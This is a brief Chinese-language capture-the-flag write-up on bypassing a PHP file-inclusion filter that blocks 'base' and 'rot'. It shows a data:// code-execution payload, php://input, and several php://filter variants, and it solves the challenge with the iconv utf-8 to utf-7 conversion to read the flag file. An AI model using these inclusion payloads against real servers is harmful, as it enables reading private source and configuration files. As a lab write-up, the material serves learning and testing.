if(isset($file) && !preg_match('/base|rot/i',$file))
要传参file,且file的值中不能有base和rot。
data伪协议可以使用:
data://text/plain,<?php phpinfo();?>
但是使用之后发现没有回显:
data://伪协议的使用前提是allow_url_fopen :on且allow_url_include:on
可能这两个配置被关闭了。
使用php://input伪协议也不行。
那不受这两个配置影响的伪协议还剩php://filter,这个协议的常规用法是:
php://filter/convert.base64-encode/resource=<目标文件名>
但其实还有很多种变种,比如:
php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码
我们使用变种里的第二个:
得到flag.